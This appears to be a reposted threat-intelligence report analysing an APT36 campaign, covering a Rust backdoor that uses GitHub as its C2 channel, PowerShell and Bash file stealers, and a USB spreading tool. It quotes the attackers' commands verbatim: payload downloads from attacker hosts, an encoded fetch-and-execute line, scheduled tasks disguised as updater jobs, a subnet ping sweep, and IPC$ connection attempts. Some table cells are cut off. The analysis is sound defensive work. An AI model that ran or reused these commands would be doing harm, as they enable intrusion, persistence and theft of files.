













In the following sections, ThreatLabz provides a technical analysis of the campaign, including its new malware tooling and post-compromise activity.
RUSTYSHADE is a new 64-bit Windows backdoor written in Rust that abuses attacker-controlled private GitHub repositories for C2 communication. Some of its functionality is similar to GITSHELLPAD, which we observed in the GOGITTER campaign. However, notable differences include support for encrypted C2 communication, new C2 commands, and the use of Rust instead of Golang.
During post-compromise activity, APT36 deployed RUSTYSHADE on compromised systems using the following command:
powershell wget https://f005.backblazeb2[.]com/file/Clients-easy/DriverInstaller.zip -o ww.zipRUSTYSHADE uses the GitHub REST API as its C2 channel. A GitHub personal access token (PAT) is hardcoded in cleartext within the binary and is used to authenticate and interact with the threat actor's private GitHub repository through the REST API with the following information:
API Endpoint Template: https://api.github.com/repos/[owner]/[repo]/contents/[path]?ref=[branch]&t=[timestamp]
Authentication: Authorization: token [PAT] header
Accept Header: application/vnd.github.v3+jsonAll messages exchanged between RUSTYSHADE and the GitHub repositories are encrypted using AES-256-GCM.
RUSTYSHADE encrypts C2 messages as follows:
BCryptGenRandom.nonce[12] || ciphertext || tag[16]. The 12-byte nonce serves as the prefix, while the final 16 bytes contain the authentication tag.HCENC1: prefix to the Base64-encoded data.The resulting message has the following format:
HCENC1:[base64(nonce || ciphertext || tag)]To decrypt the message, RUSTYSHADE removes the HCENC1 prefix, Base64-decodes the remaining data, and decrypts it using AES-256-GCM.
RUSTYSHADE reads and writes specific filenames in the private GitHub repository to synchronize the communication between the infected machines and the C2 server. The filenames are listed in the table below.
Filename | Purpose |
|---|---|
command.txt | Encrypted C2 commands |
results.txt | Encrypted command output |
info.txt | System reconnaissance data |
heartbeat.txt | Beacon keepalive containing an epoch timestamp |
screenshot.png | Encrypted desktop screenshot |
webcam_photo.jpg | Encrypted webcam capture |
download.bin | Encrypted exfiltrated file contents |
Table 1: Files used for commands, beacons, and exfiltrated data by RUSTYSHADE.
The threat actor issues commands and receives the resulting output in the GitHub C2 repository as follows.
command.txt file.command.txt. It then encrypts the command output and uploads it to the GitHub repository as results.txt.Commands use the following format:
[COMMAND][:{arg}]A colon ( : ) or space separates the command name from its argument.
The table below lists C2 commands supported by RUSTYSHADE.
Command | Description |
|---|---|
ss_up | Capture a screenshot using native GDI32 APIs, encode it as a PNG file, and upload it as screenshot.png. |
CAP-photo | Capture a webcam photo using |
cd .. | Navigate to the parent directory. |
cd | Change the working directory to |
run | Execute a command in the background as a detached process using CreateProcessW. |
HC_LIST | List the contents of the current working directory. |
HC_DRIVES | Enumerate all system drive letters. |
HC_CD | Change the working directory using an alternative command format. |
HC_CD:this pc | Alias for HC_DRIVES (case-insensitive match). |
HC_DOWNLOAD | Read the file at |
(default) | Execute the input as a shell command using |
Table 2: C2 commands supported by RUSTYSHADE.
During our analysis of post-compromise activity, ThreatLabz observed the threat actor retrieving a next-stage PowerShell-based file stealer from an attacker-controlled GitHub gist. We named this PowerShell script PSNATCH. Its primary purpose is to steal files from infected machines and exfiltrate them to the threat actor's private GitHub repositories.
PSNATCH has the following key capabilities:
Desktop, Downloads, Documents, OneDrive (personal + commercial), and drives ‘D:’ through ‘H:’. It collects files that meet the following criteria:yyyy-MM-dd/[SourceFolder]/...%APPDATA%\SmartUploader\uploaded_files.json that maps between file paths and last-modified timestamps. This is done to ensure only new/modified files are uploaded on subsequent runs, enabling incremental exfiltration across repeated executions.BASHNATCH is the Linux variant of PSNATCH. The threat actor used this Bash script to target Linux environments. It scans the same preconfigured directories and file extensions as the Windows variant. BASHNATCH uses ~/.local/share/SmartUploader/uploaded_files.json to track previously exfiltrated files.
RUSTYMOVE is a lightweight 64-bit Windows USB propagation tool written in Rust. Its sole function is to continuously monitor for external removable media (e.g., USB, SD, MMC, and IEEE 1394 devices) and copy the following two pre-staged malicious files to the root directory of each detected external drive.
C:\Users\Public\Documents\DriverInstaller.zip: Contains the RUSTYSHADE executable described in the previous section.C:\Users\Public\Documents\DocScanner-11-Aug-2026-5-37pm.pdf.LNK: ThreatLabz cannot confirm the exact LNK target command, but assess with high-confidence that this LNK executes the RUSTYSHADE executable contained in the DriverInstaller.zip (after it has been extracted).The binary contains no embedded payloads or encryption capabilities, and does not communicate with network-based C2 infrastructure. RUSTYMOVE functions solely as a lateral movement component. Its limited functionality and reliance on hardcoded paths to pre-staged files suggest that RUSTYMOVE may be in an early stage of development.
During post-compromise activity, APT36 deployed RUSTYMOVE on a compromised machine using the following:
cd C:\Users\Public\AccountPictures
dir
powershell wget hxxps://clients-easy.s3.us-east-005.backblazeb2[.]com/Automata-20.zip -o d.zip
dir
tar -xvf d.zip
dir
Start-Process -FilePath ".\Automata-20.exe"
powershell.exe -NoProfile -Command "$t='StandAloneOneDriveUpdater-2626';$a=New-ScheduledTaskAction -Execute 'C:\Users\Public\AccountPictures\Automata-20.exe';$tr=New-ScheduledTaskTrigger -AtLogOn -User $env:USERNAME;Register-ScheduledTask -TaskName $t -Action $a -Trigger $tr -User $env:USERNAME -Force"
schtasks /Query /TN "StandAloneOneDriveUpdater-2626" /V /FO LISTThe scheduled task launches RUSTYMOVE when a user logs on. Its name, StandAloneOneDriveUpdater-2626, is intended to make it appear as a legitimate service.
The following sections summarize RUSTYMOVE’s execution flow.
RUSTYMOVE enters an infinite loop that executes two main functions: external drive discovery and file propagation. The malware pauses for 2 seconds between iterations.
RUSTYMOVE executes the following embedded PowerShell script using CreateProcessW to enumerate external drives.
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "
Get-Volume | Where-Object DriveLetter | ForEach-Object {
$letter = $_.DriveLetter
$part = Get-Partition -DriveLetter $letter -ErrorAction SilentlyContinue
if (-not $part) { return }
$disk = Get-Disk -Number $part.DiskNumber -ErrorAction SilentlyContinue
if (-not $disk) { return }
$external = ($disk.BusType -in @('USB','1394','SD','MMC')) -or
($disk.MediaType -in @('Removable Media','External hard disk media'))
if ($external -and $_.UniqueId) {
Write-Output ('{0}|{1}' -f $letter, $_.UniqueId)
}
}
"The output of the PowerShell script is parsed for strings containing \\?\Volume.
For each valid external drive, RUSTYMOVE converts the drive letter to uppercase and executes the following PowerShell command to retrieve the volume’s UniqueId.
Get-Volume -DriveLetter [X] -ErrorAction SilentlyContinue | Select-Object -ExpandProperty UniqueIdFor each detected external drive mount point, RUSTYMOVE performs the following actions:
UniqueId, to track which external drives have already been infected.[DriveLetter]:\[filename].CopyFileExW.log.txt.log.txt:During our investigation, ThreatLabz observed post-compromise activity from APT36 operators, including system, user, and network reconnaissance commands, and the deployment of next-stage payloads. Most of the activity took place between August 20, 2026 and September 1, 2026.
ThreatLabz analyzed the timestamps associated with the C2 commands and found that the threat actor issues commands only between 4:00 a.m. and 11:00 a.m. UTC. The figure below shows the distribution of C2 commands by hour of the day.

Figure 1: Distribution of Operation RapidRust C2 commands by hour of the day.
ThreatLabz also analyzed the commands by date. As shown in the figure below, all observed activity occurred on weekdays, with no activity observed during the two weekends included in the analysis period.

Figure 2: Operation RapidRust C2 activity by date.
The table below summarizes RUSTYSHADE C2 commands executed by the threat actor during the observed post-compromise activity.
Category | C2 commands | Description |
|---|---|---|
System Reconnaissance | ipconfig, ipconfig /all whoami, whoami /groups, whoami /priv echo %COMSPEC%, hostname, tasklist | Identify the current user, group memberships, privileges, running processes, hostname, network adapter configuration, and command interpreter path on the infected machine. |
Network Reconnaissance | arp -a for /L %i in (1,1,254) do @ping -n 1 -w 300 192.168.1.%i | findstr /i \"reply bytes TTL\"
| Map the local network by sweeping subnets for live hosts, resolving hostnames via reverse DNS and NetBIOS, and enumerating visible machines and SMB shares. |
Geolocation | Invoke-RestMethod http://ip-api.com/json | Select-Object lat, lon | Retrieve the infected machine's external IP address and geographic coordinates (latitude/longitude) using public geolocation APIs. |
Persistence | Register-ScheduledTask -TaskName 'StandAloneOneDriveUpdater-2626' ... -Execute 'Automata-20.exe' -Trigger -AtLogOn schtasks /Create /TN "StandAloneOneDriveUpdater-2626" /SC ONLOGON Register-ScheduledTask -TaskName 'MicrosoftEdgeUpdateTaskUserS-1-5-24-...' ... conhost.exe --headless powershell.exe -EncodedCommand [irm indiatodays[.]org/pv | iex] | Create scheduled tasks that execute payloads at user logon and masquerade as legitimate Microsoft OneDrive and Edge updater tasks. |
Persistence Verification | schtasks /Query /TN "StandAloneOneDriveUpdater-2626" /V /FO LIST schtasks /Query /FO LIST /V schtasks /Query /FO TABLE | Verify that the scheduled tasks created were registered successfully by querying them and checking command exit codes. |
Network Verification | ping -n 1 [IP], ping -n 1 -w 1000 [IP] for %i in ([list]) do @ping ... | findstr "reply TTL" powershell -Command "Test-NetConnection [IP] -Port 445" powershell -Command "Test-NetConnection [IP] -Port 135" | Re-check the liveness of previously discovered hosts and probe specific ports (SMB 445 and RPC 135) to identify targets suitable for lateral movement. |
Lateral Movement | net use \\[IP]\IPC$ net use \\[IP]\IPC$ /user:[machine_name]\admin * | Attempt to connect to the IPC$ share on a remote host, first using a null session and then using specified administrator credentials. |
Anti-Forensics | del yogi.zip, del DriverInstaller.exe, del HealthCheck.exe, del sheets_agent.dll, del t_tracker.json, del a.zip, del hh.zip, del ms.zip | Delete files associated with previously deployed tooling and rename om.zip to |
Table 3: Post-compromise commands executed by APT36.
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。